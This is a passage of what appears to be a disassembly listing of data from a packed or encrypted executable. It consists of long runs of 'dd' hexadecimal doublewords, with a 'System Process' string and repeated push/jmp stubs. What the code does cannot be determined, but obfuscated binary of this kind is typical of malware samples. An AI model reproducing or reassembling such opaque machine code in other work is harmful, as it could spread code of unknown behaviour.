70C50D1Eh, 0A4A64F60h, 0B01E09B3h dd 0CABF031Eh, 6E865160h, 62664F0Ch, 452A985h, 24643F2Bh dd 2C108698h, 69B65FCFh, 0E9C9A0Ah, 2E9E1E6Ah, 0A41F3D01h dd 1086807Dh, 42873E00h, 29108680h, 1533718h, 9B86FA42h dd 2B8E7B16h, 91827BBBh, 6EFC030h, 0AEB0E0A0h, 8BE9F317h dd 0DB87A10h, 1CABEDC4h, 0A5B996A7h, 88F87AB7h, 61D131E2h dd 0AB1B9F94h, 0BDD5A9D2h, 3CB8BEB1h, 1F0h, 0E0B525A1h dd 977EEE53h, 0D8BD2D88h, 0A075E54Bh, 0D6BF2F93h, 53D7CAC1h dd 9A1D12E3h, 58D44B2Ah, 95160DE8h, 57875025h, 9C46A5ECh dd 75C74816h, 0BF56C624h, 0A616969Bh, 570AB491h, 0B95163BAh dd 86FFB78h, 8EA19E98h, 0BAB41E7h, 765577E3h, 321D5584h dd 9299992Ch, 93A4169Bh, 98FD20A3h, 0B48A1693h, 98F61BAAh dd 0A4751693h, 0F199096Fh, 0C73217C6h, 4D9DBD83h, 0CDh dd 57C72469h, 80F0525Fh, 85F575BEh, 23A2BC91h, 1086F2FEh dd 50BEAC7Dh, 86F6B5F5h, 0C838BB10h, 0E975F62Dh, 2341B8Bh dd 0C698C878h, 9BF03FFFh, 516D3E16h, 4670E060h, 7BEB4A49h dd 0CDA8423Bh, 0D5E919DDh, 8B9EC56Eh, 794C1210h, 1CAA5C50h dd 91340A1Bh, 1CAA5C48h, 18886233h, 0C253707h, 68A941B1h dd 4FFB9A0Ah, 4670E062h, 1270A149h, 5CCF12B1h, 9DAE1CAAh dd 46ACEBB2h, 0C5AFB1BEh, 0EF3Dh, 0B424A200h, 7FEF52E1h dd 0BC2C8996h, 76E64AD9h, 0C232909Fh, 7C377433h, 38E78EFEh dd 81AE47B7h, 2D029303h, 0CB75ECEh, 475E8342h, 5C1D169Ch dd 3AC624E0h, 734C4ABAh, 0E95C825Ch, 1086F2A0h, 5907A4Bh dd 0B85DCD2Eh, 57C72474h, 81F1525Fh, 84F474BDh, 5F1F87E6h dd 0E44D0F2Fh, 2F201686h, 751585E4h, 0A19E3946h, 0CFEFC016h dd 0DC0DDD06h, 0D4B6772Fh, 7AEA495Ah, 0B727849Bh, 0CFD047Fh dd 9701CAAh, 3192F1D6h, 0C56C4F92h, 992C2E00h, 0C56C70h dd 2A052AFBh, 0CB57D44Bh, 0C3BCFA6Ah, 37B9AAECh, 35BAF7C7h dd 0FAE725C5h, 170C0A7Ah, 93F42292h, 0B010B726h, 56795640h dd 0DB17C66Fh, 0E387CDFAh, 0C5303960h, 0E4F3C400h, 0C0AAD133h dd 0BE80F053h, 4E1BDF99h, 9E4C95B5h, 7BE360CFh, 0BEB457F5h dd 0FE3817BCh, 376h, 4B2F9200h, 5C5ACA24h, 4274E447h, 3363D331h dd 4D49B93Eh, 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h dd 3C7AEA4Fh, 4EC8178h, 89000000h, 0BD552424h, 4, 4246C01h dd 0E389535Dh, 4C381h, 0EB810000h, 4, 5C241C87h, 50240C89h dd 405E089h, 2D000000h, 4, 5C240487h, 68243489h, 61AAC6Ah dd 81240C8Bh, 4C4h, 348B5400h, 4C48324h, 6685352h, 5B2A1842h dd 0BE02C381h, 0DA89D5E7h, 89F2015Bh, 348B5A0Ah, 0E7895724h dd 4C781h, 0C7830000h, 243C8704h, 2434FF5Ch, 4C48159h dd 0E9000000h, 0FFFAC736h, 7B77AD4Ah, 1AB692B8h, 0FFC50306h dd 8AF4CE0h, 8D22BF60h, 0E4D2C429h, 4D6A6F70h, 382B0D28h dd 0E4CC8C2Dh, 15F2AF32h, 0C85BBD25h, 9D401029h, 0B4D6BF25h dd 176E7811h, 8878D909h, 6F0A2E10h, 9F24270Ah, 0B90D436Bh dd 6CBB9978h, 8B5A3E56h, 56FAC97Eh, 82699D6Fh, 0ADD2D0Fh dd 656ECE48h, 50CD2E29h, 578D8E6Bh, 0D132117Eh, 4DBA7612h dd 233FE40Eh, 715D3864h, 8E4CAD45h, 328DAD36h, 5E82Fh dd 0C8E00000h, 6675DA91h, 4300C981h, 0D981665Ah, 0C28183E8h dd 7456h, 13E8h, 0F9882900h, 0C6273B62h, 87C613A3h, 10CB5C84h dd 45245BBDh, 3359E1B3h, 0C8D0FF6h, 0F000000h, 689h, 8C0F00h dd 0FF000000h, 0B9661634h, 815F9F20h, 37E0BFEFh, 0F1816607h dd 0EF81DEEDh, 23D04C5Ah, 0C1B70F53h, 24F7815Bh, 0E9386D23h dd 0Dh, 0E9FD14Ch, 2673F002h, 622A70E5h, 323C894Eh, 9EAEBB66h dd 0BE9h, 0FFA73300h, 409266E1h, 0E3F93BCCh, 64ACEE81h dd 0C6811E86h, 1E8664A8h, 0FE81CA8Bh, 0FFFF8C54h, 0FF99850Fh dd 0C68BFFFFh, 0CE8h, 256F0C00h, 7111E325h, 0F10CA10Ch dd 19830F93h, 0E8000000h, 12h, 0D126D72Fh, 75D90191h, 0EEAD8B2Eh dd 0CC26D8F9h, 5AF84CA1h, 81F78B5Bh, 5B8BC3h, 98B9F500h dd 0F9000016h, 8B0F33FFh, 2, 8158F38Bh, 1D4895DEh, 3FC08140h dd 0E93A8EFAh, 0Bh, 48B614C5h, 31CC96C4h, 81FCB219h, 4428BEE8h dd 66BF6641h, 66C0811Eh, 0E842B9D5h, 11h, 0FC6515CDh, 0D328A058h dd 4F2E7163h, 98C6702h, 3840FD9h, 0F000000h, 505AFAB7h dd 13E9h, 663CC500h, 0E55A3607h dd 9500E97Ch, 747E228Bh, 14A014FFh, 0F98B038Fh, 30BEB81h dd 6FBA354Bh, 8132E1E3h, 4B0307C3h, 0CE935h, 4AB20000h dd 43A1CD50h, 42AB9233h, 0E981B512h, 1, 39850Fh, 12E80000h dd 24000000h, 4C5C3757h, 85EE2C5h, 52CBD6C5h, 0CA55E1ECh dd 0AE917h, 695D0000h, 0DE1E1915h, 9A3DD322h, 26E95Ah dd 956C0000h, 0E81E5BDFh, 0B676A3FBh, 0E9AD938Ah, 0FFFFFF20h dd 8AC2A5C0h, 4655B5E7h, 0E33EF3B2h, 5412BB20h, 4E656FCCh dd 16DE9h, 0B59100h, 2F688C29h, 0D34CAA87h, 0E58AC4Fh dd 556B508h, 656BF51h, 0D583008h, 26714E51h, 74246638h dd 8F707851h, 8BC454D3h, 33B6809Fh, 42140150h, 12851h dd 0 dd 400h, 2 dup(0) dd 3300h, 0 dd 800h, 0 dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 40h dup(0) dd 65E90000h, 68000016h, 61ABCB5h, 0FB8DD7E9h, 0BDBF68FFh dd 0CDE9061Ah, 68FFFB8Dh, 61ABE9Ch, 0FB8DC3E9h, 0BF5D68FFh dd 0B9E9061Ah, 68FFFB8Dh, 61AC0DBh, 0FB8DAFE9h, 0C29C68FFh dd 0A5E9061Ah, 68FFFB8Dh, 61AC36Ch, 0FB8D9BE9h, 0C42268FFh dd 91E9061Ah, 68FFFB8Dh, 61AC601h, 0FB8D87E9h, 0C70868FFh dd 7DE9061Ah, 68FFFB8Dh, 61AC7CDh, 0FB8D73E9h, 0C86068FFh dd 69E9061Ah, 68FFFB8Dh, 61ACA3Ch, 0FB8D5FE9h, 0CF0D68FFh dd 55E9061Ah, 68FFFB8Dh, 61ACFEEh, 0FB8D4BE9h, 4A3318FFh dd 0E29B8F7Ah, 4C3117E2h, 0E895917Ch, 46371DE8h, 17F1E746h dd 0BD484835h, 5C27A9D4h, 0FD880875h, 81196B12h, 23EBAA84h dd 0BCA9A724h, 0AF992446h, 581ED7CEh, 322B523Dh, 0FDE9B097h dd 10629F9Ah, 28514A14h, 0D3BDD881h, 0B40183AAh, 403EADFCh dd 0B352F502h, 845E0732h, 0A728E3D1h, 910B9717h, 0F9476002h dd 0ADDD6A13h, 472D6842h, 98F10036h, 36BEC13h, 116C65F0h dd 28F36835h, 2D0534A7h, 2A19h, 6CC4AB00h, 8A7F0E1Dh, 0D0AE3BF3h dd 0B353E22Ah, 0A9A6BF6Ah, 0EF47361Ch, 29DB4415h, 9A0AA4A7h dd 0ECF7891Eh, 0B56D6Bh, 865F0000h, 2AC7DE9Fh, 0A12C3548h dd 0B504F1A6h, 0BDCAB39Bh, 0AC85C412h, 0A2D18B5h, 3DF66D2Ch dd 33FA2FADh, 0FC015751h, 5C53AD3Dh, 0E9E4AF21h, 2BE0D94h dd 0CDA4D9CFh, 6B2605Eh, 37E2B353h, 0AA5B4855h, 0C49B5C8h dd 88A728E0h, 803899E1h, 2013C231h, 0E58D445Dh, 8AC56A44h dd 36E3AD40h, 57260CB9h, 0D5A88A75h, 787C47Fh, 0B74BC6FAh dd 1414h, 0A1235A3Bh, 398BF2D6h, 0A325584Eh, 3F91ECD8h dd 0AD1F5E54h, 8C7E980Eh, 0FBF49FF1h, 94770282h, 311CE7E9h dd 0A7A47C4Ch, 24228AC7h, 239B0AA7h, 0F7D9A486h, 0A0BDB9AAh dd 0FCAD3EDEh, 7F66254Dh, 0C4408EFEh, 300E1D6Ch, 0B353E20Ah dd 7904E796h, 0D9D164C1h, 1D54FDA4h, 0DBF79A84h, 2F1A729h dd 551D6053h, 3A4FCB57h, 0BE6BECF8h, 0E5h, 0DE9F8610h dd 0B2CBC451h, 614702ABh, 0A6CC851Ch, 17C6EFBh, 0E3A67E68h dd 3530AD3Eh, 0D2BD4848h, 98913CABh, 15128DE5h, 0C16D3066h dd 6AFB6C7h, 678AA049h, 0AA63FA83h, 62DEAB83h, 0FC1A1413h dd 64B3539Eh, 0ECA8EFD9h, 667703EFh, 96CFA7CEh, 9B4E1E3h dd 8F465F1Eh, 0B94EEAE7h, 29AAA0BDh, 0AFEEC8A7h, 0EDA729AAh dd 0FF36E33Ch, 51D016F0h, 9DCCAD41h, 2A0DFF8Eh, 3C4C0D4Ch dd 93DA8FADh, 0F7F7E431h, 0AD3C4B5Ah, 2C670F3Ah, 74E13746h dd 56FA0741h, 130A079Bh, 50450000h, 0B8B05B2Dh, 4E38C3C5h dd 0BAB25D2Fh, 5436C1C3h, 9208A729h, 99EB9278h, 484F9EEh dd 99EB9279h, 686F7EEh, 0F8A5A18Eh, 0A4A72421h, 992461B1h dd 0E7A6CCB1h, 6D187805h, 4A331782h, 0C974A123h, 0ADD0BCDDh dd 0FE34DD84h, 0DE9F868Ch, 0DBDBC8C7h, 0AD3EDEBEh, 48032BDEh dd 0E5B0205Dh, 7E0B92EBh, 8996F687h, 0DEFD9C9Ah, 97CBAD3Eh dd 35191883h, 0B87EAB74h, 0B9440599h, 0FFB6AFCEh, 8FDE5A37h dd 0C0293A0h, 1441F871h, 300E6419h, 0B353C422h, 0D3C0C772h dd 0B1B7E6E0h, 34E5A729h, 0E24E00FEh, 16B29EB3h, 644E28C7h dd 8CC1B4E4h, 0EC750801h, 0FCD6335Fh, 7AB32E5Eh, 0A7BE6BB4h dd 92A1F048h, 0CC739DB4h, 1D0A3FBBh, 88087570h, 0A56B12FDh dd 0B977EB2h, 2DFD9108h, 22000012h, 917C4C31h, 19E4E499h dd 937E4E2Fh, 17E2E29Bh, 0E9484835h, 4A3319F3h, 0E39A8F7Ah dd 4A3316E1h, 0E5988F7Ah, 403E2BE3h, 0A7242111h, 86BC1283h dd 6617FA9Fh, 7F39960Fh, 9118654Ch, 91A291E8h, 0E8177702h dd 185E21F3h, 5334602Eh, 0FBCD7CB3h, 0CB681510h, 4C45543Ah dd 0B8813831h, 3088E782h, 526152E1h, 290A2574h, 0D4A9A5A7h dd 0AE98DE8Bh, 0AD43C399h, 78052257h, 5203F08Dh, 7559215Ch dd 0C3DAA38Ah, 2E4F39C4h, 2A502D23h, 33C00FA9h, 80C29340h dd 18E97DD7h, 0FE3FE462h, 0AC5DB349h, 0E6978E3Fh, 49341BE6h dd 2675D320h, 0CC6D2D09h, 29AD3Eh, 5E01B1Ch, 72148DFAh dd 116Ch, 398BF2E3h, 0A1235A4Eh, 3B8DF0D6h, 0A7295450h dd 587F6DCh, 0F4D630A6h, 937C0789h, 0FCEF9AEAh, 89840F81h dd 0FFC94F4h, 241F622Fh, 0CB4332A7h, 0F7D9A486h, 909FEE4Ah dd 53F6B0B6h, 0AE3DECB3h, 59502D1Fh, 42CFDAA0h, 0A752324Bh dd 47A4BDC0h, 0B18D9AE9h, 0AD3ECC69h, 0C9A5B62Dh, 0AD3ECB8Ch dd 0B8E56108h, 0E4AD3ECBh, 0AE65FC35h, 0E994903Dh, 536119C0h dd 9DE0C7DFh, 730AFF8Eh, 106D5FEAh, 0E199E099h, 99E860EDh dd 0E3C69C9Ah, 33E6B353h, 9A903D2Ah, 5008BE3h, 6E64F178h dd 2E37462Bh, 1AB7AE87h, 3D1E4736h, 0FDF529B9h, 0FA89036Fh dd 18998816h, 0CEBB732Dh, 2A042372h, 0AD3E1934h, 3CC7C970h dd 49352C51h, 0AD3E2508h, 4A62D264h, 7DAA1A63h, 4C1906Eh dd 901AD3Eh, 0DB44ED74h, 4D30232Eh, 0FE7F6625h, 7B7B6867h dd 0AD3E04DEh, 0E6E38BBEh, 12ECFB4Ah, 0B3533144h, 790A2950h dd 0CCB60C31h, 1D71C961h, 6C2DD6Eh, 618B38B7h, 8FE026B3h dd 0B28C9DD5h, 0AD443F95h, 0F18C7E0Fh, 0B09DFF62h, 2258385Dh dd 7CAF1445h, 75C28F6Fh, 0A7D2AD2Fh, 0EF8B58E8h, 0BB73DF04h dd 0BAE39A90h, 2F4FADE0h, 0A6F553ADh, 982AD89h, 0F9EAB34Ah dd 8E17664Ch, 0A93E5BE7h, 0AB5EA729h, 806F9A83h, 79EDFD5h dd 7A0B284Eh, 0EF9AEA93h, 51DC85F8h, 3F2E225Bh, 6DFC10E4h dd 0FEE12B4h, 6C610000h, 0DCD4BF11h, 6A642FA1h, 0DEC6B113h dd 70622D9Fh, 8EFCBB0Dh, 8DFF7E74h, 20700D02h, 8DFF7E75h dd 12720B02h, 0E4B18D7Ah, 0B0A7241Eh, 37244DC5h, 3EDF1A37h dd 0A7CF7AADh, 553106ECh, 0AD3EDF08h, 0B8B1CCC2h, 3AF32601h dd 91C0BEADh, 3AD3EDEh, 0E5B02056h, 7F0A93EAh, 47F6F588h dd 2C513762h, 0ACB57C35h, 97322D05h, 14A1C8B5h, 96465F1Eh dd 0B34478ECh, 0B097AF43h, 0B8AF5ECDh, 529DDDDFh, 9BD2871Bh dd 0A3234B02h, 1953374h, 79756672h, 0AD3E74DCh, 259BABB8h dd 622E6F2Ch, 0B923630Bh, 95000001h, 0C7DE9F86h, 0AD3A432Ah dd 4C02631Eh, 78BEDD43h, 1E180B18h, 0AD3E507Fh, 4F18654Bh dd 0B977541Ah, 0C5817D6Ah, 0F1B35359h, 14452148h, 0AEA72959h dd 0DA8C1BCh, 6C4F5627h, 91265ACAh, 78118D25h, 236BEC70h dd 35FD8072h, 6A11h, 6CC4A300h, 362F4E39h, 6EC7B69Bh, 0B84E28C7h dd 0C0B353E2h, 0EF949A13h, 2C02A793h, 570600F3h, 73A72998h dd 0E25FE7Fh, 5E9E8611h, 37FE3789h, 10270DB8h, 29646736h dd 2D0435A7h, 0AAB57D34h, 29647DD0h, 57CB6BA7h, 0C972EDDh dd 81AFEEC8h, 3CEDA729h, 0F37580Fh, 96BFC867h, 0B3376BECh dd 0EA000000h, 5C05785Bh, 860B7DB5h, 2AC7DE9Fh, 5B63548h dd 892D0060h, 2B36FC3Dh, 0CFD6A79Eh, 52324B42h, 3EB60058h dd 225B52ADh, 4C9B15A2h, 0DFDFCCDFh, 0AD3EB4B2h, 5FF37E2h dd 0B3565C5Fh, 12210E3Bh, 51E2DC81h, 56B09B35h, 0A7279307h dd 0F1A09E95h, 0A3A72792h, 7A77BF76h, 3494E9CBh, 361A6349h dd 0FC129E21h, 2D0C9E5Bh, 2200000Eh, 917C4C31h, 19E4E499h dd 937E4E2Fh, 17E2E29Bh, 0E9484835h, 4A3319F3h, 0E39A8F7Ah dd 4A3316E1h, 0E5988F7Ah, 403E2BE3h, 0A7241D11h, 86BC1283h dd 0CF7D9A4h, 0EF8E7821h, 7976BF76h, 67A1A0CAh, 8BE35C74h dd 99248D3Bh, 7B02E7B2h, 5B022BE2h, 0D6D17CB2h, 8211FEA7h dd 0D93759A0h, 0D776BC1Fh, 503B8DF0h, 32812855h, 1BA84796h dd 0CE5BCC4h, 42AF8760h, 0D0ADA431h, 0EC5A20D9h, 0B353D9C2h dd 0DB837E2h, 0A9505924h, 0B47A03ECh, 79C22D4h, 62F10000h dd 87BC3EEBh, 5634FA7Ch, 0D0D9A486h, 3EDEA3F6h, 94E35DADh dd 98949797h, 930B359h, 9745BEAh, 6C11FC87h, 5F47F6F5h dd 0A8CE871Eh, 0A27607EDh, 0FC1F6B67h, 5D9A2CE5h, 0F200000Dh dd 810C7C01h, 0E994F489h, 830E7EFFh, 0E792F28Bh, 99187805h dd 9AE3C923h, 136A5F2Ah, 9AE3C6B1h, 15685F2Ah, 10EEDBB3h dd 0A7241B41h, 86EC6253h, 0CF7D9A4h, 3ECF5C21h, 852C3548h dd 8B5B2ADh, 0EA937D1Ch, 0BB73BA73h, 0C1E89590h, 0B4CC58DEh dd 0D7C4C4B9h, 243D4026h, 0DE29D187h, 8BE26233h, 0D2F3A29Ch dd 78A1AD3Eh, 0EF5A2FC2h, 129E7201h, 30000000h, 3EEA0B37h dd 106D59ADh, 0F599E099h, 0FFFFFD90h, 0DF1637DBh, 4EEAAD3Eh dd 0E916F0FFh, 0B7B35997h, 0F0D86582h, 0B944E58Dh, 98E5CBCEh dd 2924EFE1h, 0CAC04D54h, 6B2C5DB3h, 0E39EFC1Fh, 0CA73Fh dd 0BAC3A800h, 324B3FCAh, 0BCC1A752h, 384541CCh, 0B6C7AD58h dd 876157D6h, 0DF8D8A5h, 8C775924h, 0DF8D8A5h, 0B1695B22h dd 1A9BBAB4h, 8CF9A724h, 18972436h, 8F1C9963h, 0A0085531h dd 0E594AD3Eh, 0C0A7E68Ch, 1E09A4BDh, 2343D05Fh, 0ABD2B624h dd 0CA13B79Ch, 9C1AFDA4h, 0F09D8E08h, 0E07D89F4h, 0EAAD3E0Eh dd 78A17A03h, 0E19C93C2h, 2AE7C0EFh, 0D0F7201h, 0C1000000h dd 3EEA0B37h, 0DD093DADh, 0A7FFFFFCh, 51396CC4h, 0B57C352Ch dd 0CCA3836h, 5BEAB354h, 372E0776h, 0DCA18D38h, 0D8660CC5h dd 0A729B1B6h, 0B430C432h, 6BECC9F3h, 19203h, 4637B500h dd 80AD3EDFh, 235A55E0h, 8EEFD6A1h, 0DED22B17h, 526AD3Eh dd 0DE791816h, 0EE1BAD3Eh, 3CB62E48h, 0DB40C68Fh, 7BB3D85Ch dd 16C2D5D0h, 45598948h, 0EE473630h, 41F84547h, 0E7DE6BF2h dd 644B3696h, 53B69019h, 0D5AD3EBBh, 5C4FC959h, 3EBB3362h dd 82B861ADh, 1D31A6Fh, 131DE72h, 86F00000h, 0C451DE9Fh dd 0E47BB3CAh, 0AD1F5E49h, 0DA59A820h, 0F43A432Bh, 0E74BF7F7h dd 0D86BB353h, 0D43B7F74h, 8CF1D785h, 5C155C15h, 68385945h dd 46B0A729h, 807532AEh, 43816BECh, 94000000h, 0DB6256E7h dd 670F6388h, 1D6CC469h, 0E20A300Eh, 0BBCAB353h, 56FFA6D7h dd 0F99C861Fh, 0EFA729DBh, 61224FFCh, 23AE90EFh, 5228512Ch dd 5354D064h, 0A36BEC9Ch, 99h, 742EC576h, 0D7398003h, 9F86319Fh dd 0CEC451DEh, 55E087AFh, 0EA871E5Fh, 0E4E37A03h, 18A79757h dd 3461E234h, 5FEE4439h, 79B31568h, 0AD3E742Bh, 0D9ABD2BDh dd 384541CCh, 0E8379102h, 0EC356B4Bh, 0C871B355h, 0C5B89A2Bh dd 2B5238C3h, 12E1BEE5h, 0F1950CFCh, 0AC8h, 0F5D7A687h dd 7557260Ah, 0F7D9A48Ah, 6B5D200Ch, 0F1D3AAA0h, 0C8AA4432h dd 3F28D3B5h, 0D0C34E3Eh, 3530DBADh, 0E3D04848h, 2418B6E3h dd 1F6FE6A7h, 0F7D9A486h, 61381BAAh, 185E1766h, 99EB927Dh dd 0B099242Bh, 0B27B02E9h, 604702ABh, 0A5CD841Dh, 717EFFE6h dd 0E78FEEE4h, 433A35C0h, 468AF41h, 82210000h, 6346F78Eh dd 0DEBBDAD4h, 30D9AD3Eh, 81B96009h, 0CA69B810h, 599860ECh dd 0F6CD7CB3h, 9F8CDB55h, 25E3B28Ch, 88B1A724h, 7D4541B2h dd 99AD3947h, 0DAD28370h, 0EAD4CBA3h, 0AD2F46A7h, 45413241h dd 0AD2F4718h, 0B3081CB0h, 16518156h, 0BE74211Dh, 0F920AD2Fh dd 0E87CFA40h, 0F2D71B6Ch, 3C1DB71h, 0BD4E0000h, 23A33B0Eh dd 3D2F5A60h, 0CA702940h, 0B29924C8h, 531BD2CBh, 3EDEA8E9h dd 0DE99CBADh, 0C781AD3Eh, 8E687B78h, 0AD3EDECFh, 55D69CCDh dd 54038D59h, 9C80A9B3h, 0FC10F65Fh, 0C1B658D1h, 8E000009h dd 25F0E09Dh, 9580502Dh, 17E2E29Bh, 937E4E2Fh, 4DECDCA1h dd 0AECFC55Fh, 3F3E33DEh, 0AECFC24Dh, 413C33DEh, 0DCDAD74Fh dd 0A72417BDh, 241866DFh, 0AA940797h, 0B99AB9C4h, 87F6F0A7h dd 184541AEh, 84AD3E29h, 0F7EE9DD5h, 3890DF86h, 0E36C4AE9h dd 0CDB358E2h, 31384540h, 0E075B288h, 0EBDD94E9h, 9493E25Eh dd 0E67FFEE9h, 0F9EA072Fh, 9019644Ch, 0A0B391E9h, 3CAD3F89h dd 7A6F1E0Dh, 87948103h, 3E28EAA7h, 707FAAADh, 3E28C796h dd 0CEA4D5ADh, 3E2A4570h, 0F140FBADh, 1F5E5302h, 7805EB86h dd 49F148F1h, 0A8D5BA45h, 4797401h, 63B20E5Dh, 45A0EAC4h dd 95C4B353h, 107868BFh, 43E7A2FCh, 8FCh, 0A91B6253h, 3193EADEh dd 0AB1D6046h, 3799E4E0h, 0B517664Ch, 846680F6h, 3EC97F9h dd 8C7F0A7Ah, 0F9F49FF1h, 9F8C0484h, 2417F29Fh, 5BB3A2A7h dd 0E1D6CC4h, 59981B30h, 0A7AAB9B3h, 953F2871h, 821B6246h dd 5CCBA2CBh, 0C3C5B8B1h, 372E4F38h, 221160D8h, 0BB962671h dd 0AB831C0Ch, 0CCC7403Eh, 0CB9AD3Eh, 68351126h, 34AD3E69h dd 19062C05h, 9E1A79F0h, 42D3E04Fh, 9E2B324Bh, 0D49AD3AAh dd 536FDC6Ah, 0B51F8B3h, 0FC10A2BAh, 69B155CCh, 0E6000008h dd 6D187805h, 0ED98F885h, 7F0A7A03h, 0EB96F687h, 95147409h dd 96E7CD27h, 17664B36h, 96E7CAB5h, 19644B36h, 14F2DFB7h dd 0A7241645h, 86F05E57h, 0C8C7DE9Fh, 5228553Dh, 584B4C43h dd 95A4D90Ah, 1C55280Bh, 0C7C14C55h, 0D020AFB6h, 0A51EC7D8h dd 0ADD0BCD9h, 0C430BEB4h, 9B07AF90h, 9FF18C83h, 1ADF790h dd 0B591A272h, 0AD3E9DE8h, 0D691ECE2h, 0B0BBCBA3h, 6E000001h dd 0D94E9DFh, 4035AF7Eh, 4E2760AAh, 6CC4AA28h, 887F0E1Dh dd 0E90056F5h, 0EDFF7AAFh, 0C8CAA445h, 18B3535Ah, 5A6E2B0Bh dd 172EA729h, 9A534A33h, 97C29BD3h, 0FE72210Eh, 23D591E2h dd 395CEA90h, 0AFA72915h, 7237B33Fh, 866BEC2Dh, 15Fh, 0EDAC8A99h dd 0AFA7291Ch, 0A4770794h, 8CE51FF0h, 9F86E4E6h, 432AC7DEh dd 0B05D4A3Ah, 90EDE3B6h, 6119C0E9h, 6A89D870h, 53E7BE8Ch dd 7E45DEB3h, 0DE99133Eh, 0FF8E9DD4h, 0A3BE7409h, 294E96B7h dd 3D402CA7h, 0DCA18924h, 0D064D2C5h, 0B97179Ch, 0EC66FA8Fh dd 59FE6Bh, 0C4D00000h, 1D0E1D6Ch, 7A7CE56Eh, 3109EC8Ch dd 53612FD3h, 0A28A3BB3h, 630BC2DBh, 33E04FFAh, 0D3BD3226h dd 5D5E9DAAh, 7EF41A39h, 0E41FE9BBh, 6627138Eh, 82A72910h dd 770680F4h, 43ABE895h, 0AA344465h, 119699E1h, 0E56BEC80h dd 0A4h, 0E4B2B38h, 8EA72968h, 863593DBh, 2AC7DE9Fh, 0A12C3548h dd 43CED7A6h, 525F314Ch, 518C5CC1h, 16D0BC3Bh, 0C5D2ED9Dh dd 0B846EC45h, 0AD3E14D0h, 72522B22h, 0BC109625h, 0BEA3C79Fh dd 4E9D1B78h, 3CBFE5E1h, 4ADBB356h, 3E3F3267h, 9EC76E27h dd 24B13EF7h, 35E04F2Eh, 9BEB433Ah, 8D83FAF0h, 0FC12304Eh dd 8DA145BCh, 0C2000006h, 31DCACD1h, 0B9444439h, 33DEAECFh dd 0B742423Bh, 8928A8D5h, 6A13F913h, 37A6F1Ah, 6A13F681h dd 5786F1Ah, 201E0B83h, 0A7241471h, 86DC3223h, 0CF7D9A4h dd 0DE6C5C21h, 0C7DE9F86h, 0AD3A432Ah, 21592420h, 44DBADh dd 82F50000h, 1D6CC43Fh, 9815300Eh, 8ABFB359h, 9E5F635h dd 0A724254Ch, 36592148h, 0E02F8958h, 0DFDB7353h, 0D4C7AD3Eh dd 3EDEBBDAh, 2530D9ADh, 411E5429h, 4ADBB318h, 56000000h dd 0DF2C6945h, 0C168AD3Eh, 6CC41779h, 62300E1Dh, 0FEB3540Bh dd 89205D4Fh, 75DAF2EAh, 1861A9F6h, 4D540562h, 297D1F71h dd 0B52D59A7h, 210E5DDBh, 694E7925h dd 0D0AE25B9h, 0AD3F4E81h, 0F08D8213h, 0EEA0F049h, 9Fh dd 1D6CC4C4h, 9813300Eh, 0B4C1B359h, 866AC3BAh, 0A9F0DC69h dd 0BB73BAC3h, 2506E68Ch, 26193836h, 0CE7BA724h, 1A960EA8h dd 6BE7418Dh, 5869h, 6CC45B00h, 14300E1Dh, 0C0B35998h dd 86ECA399h, 229C08A6h, 0E5027B73h, 24254C09h, 592148A7h dd 0E741D1D6h, 2F256Bh, 0C4970000h, 300E1D6Ch, 0B3599815h dd 0BFBEA6BFh, 0A5CB8276h, 0FD79E9C3h, 6BE73DACh, 126B5EEFh dd 0F3A29C8Bh, 0A1A7242Dh, 0D579C178h, 17h, 0FAEB37E7h dd 295DAD3Eh, 0FFFFFF2Eh, 5EFBFBE8h, 3EAD3EC3h, 0C465630Bh dd 1D0E1D6Ch, 862776Eh, 73CFFFA2h, 0AD3E3626h, 0A386C376h dd 979794DAh, 0B358EF80h, 1F6CF524h, 28D552A1h, 0FAF73F3Eh dd 3F8812FCh, 0DE87B2ADh, 126B64F1h, 3F8CE28Bh, 8B53281h dd 1A175F1Eh, 58EF071Ch, 7774A5B3h, 299BE2C6h, 56D5249Ch dd 3F88F358h, 0CB6811ADh, 0A626573Ah, 64E0FE8Ch, 9CE1CC45h dd 12ECFF2Ch, 1518DC43h, 0B5E4E251h, 0E71518DCh, 1833FB32h dd 0FB826C2Dh, 64DC2B32h, 0DCA2EFCFh, 28201518h, 997B0A55h dd 5AFE8DE4h, 3B5BC562h, 45D05F16h, 0EEFB334Ah, 4110EEFDh dd 531517FCh, 2CF65026h, 341B2D01h, 0C5F99E89h, 0ABD42A75h dd 65C278C1h, 6806ADB4h, 1AD182FCh, 22FFEFCEh, 9A95C076h dd 0D3B944E3h, 0D3AA9FAAh, 69602B9Bh, 8008D14h, 91E89591h dd 80FDF3A2h, 5F0A30E9h, 7FC350BDh, 0E4607048h, 21704EDDh dd 730F0B56h, 6E0670C6h, 0BA0A7356h, 8A1DCCFh, 19060969h dd 1C13866Ch, 0E8914861h, 562E6B4Bh, 0BB6E0F0Bh, 5169F973h dd 7704235Ah, 8D82CAEFh, 93C079F0h, 47EF1378h, 70C4F947h dd 0DEBEDBDBh, 2BDEAD3Eh, 0D7CE5B02h, 0DF376660h, 0B465AD3Eh dd 5D49E47Dh, 2EC8920h, 0DF1C3935h, 0D178AD3Eh, 981E01A8h dd 0D462D80Ch, 0DF2E8660h, 522B22EDh, 9F422FDEh, 0A0879F13h dd 2307E6DDh, 3A57435Ah, 6EAD3EDFh, 5E20CE7Dh, 0DDD56AEFh dd 118B1795h, 79F08D84h, 0F7DB7AC0h, 987B0686h, 3CCFBCE5h dd 0F923C68Ch, 60DE94E5h, 0AD3E582Eh, 4961D143h, 810C1B62h dd 6E58F588h, 97DF960Fh, 4CF9EA37h, 6F2E1865h, 2DAD3E57h dd 0CEC836FCh, 68AD3E77h, 14FC1C9h, 0FF603572h, 0FBE8FFFFh dd 3E2F5EFBh, 0FD806CADh, 513FF722h, 0EEDE9F86h, 0EB512C23h dd 0BC403D28h, 2840B442h, 464B403Dh, 7201FB41h, 39B5h dd 6CC40700h, 5B7D0E1Dh, 0F6B0D01Dh, 0AE4052Dh, 0B358A100h dd 0D07F75A4h, 39C4EDA1h, 7D342D50h, 512BB7B5h, 0AB8BA8F7h dd 0AD3F4AA3h, 6C191643h, 4A3FF786h, 26A4h, 6CC40E00h dd 16300E1Dh, 0BEB35998h, 0DEE6A58Bh, 310B9717h, 1AAB4897h dd 9B524B32h, 0EE5856D3h, 16AD3EDFh, 86CE5C63h, 0C8C7DE9Fh dd 5228553Dh, 5F314C43h, 0E80756F2h, 37624AFBh, 5B022B52h dd 0C4827CB2h, 0F0B353E7h, 13462049h, 